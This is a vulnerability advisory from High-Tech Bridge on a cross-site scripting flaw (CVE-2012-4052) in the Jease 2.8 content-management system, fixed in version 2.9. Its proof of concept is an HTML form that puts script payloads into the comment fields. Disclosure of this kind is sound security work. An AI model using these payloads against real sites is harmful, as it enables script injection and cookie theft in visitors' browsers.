Cross-Site Scripting (XSS) in Jease

Advisory ID: HTB23104
Product: Jease
Vendor: jease.org
Vulnerable Version(s): 2.8 and probably prior
Tested Version: 2.8
Vendor Notification: July 25, 2012
Public Disclosure: August 15, 2012
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2012-4052
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Risk Level: Medium
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Jease, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in Jease: CVE-2012-4052

Input passed via the "author", "subject" and "comment" POST parameters when creating a new comment is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of an affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://[host]:8080/blog/" method="post" name="main" id="main">
<input type="hidden" name="author-467844289" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="subject-467844289" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="comment-467844289" value='"></textarea><script>alert(document.cookie);</script>'>
<input type="submit" name="Submit" value="Send">
</form>

Solution:

Upgrade to Jease 2.9

More Information:
http://www.jease.org/download/2.9/
https://groups.google.com/forum/?fromgroups#!topic/jease/2BHaDww-5ac

References:

[1] High-Tech Bridge Advisory HTB23104 - https://www.htbridge.com/advisory/HTB23104 - Cross-Site Scripting (XSS) in Jease.
[2] Jease - http://jease.org/ - Jease is an Open Source Content-Management-System which is driven by the power of Java.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.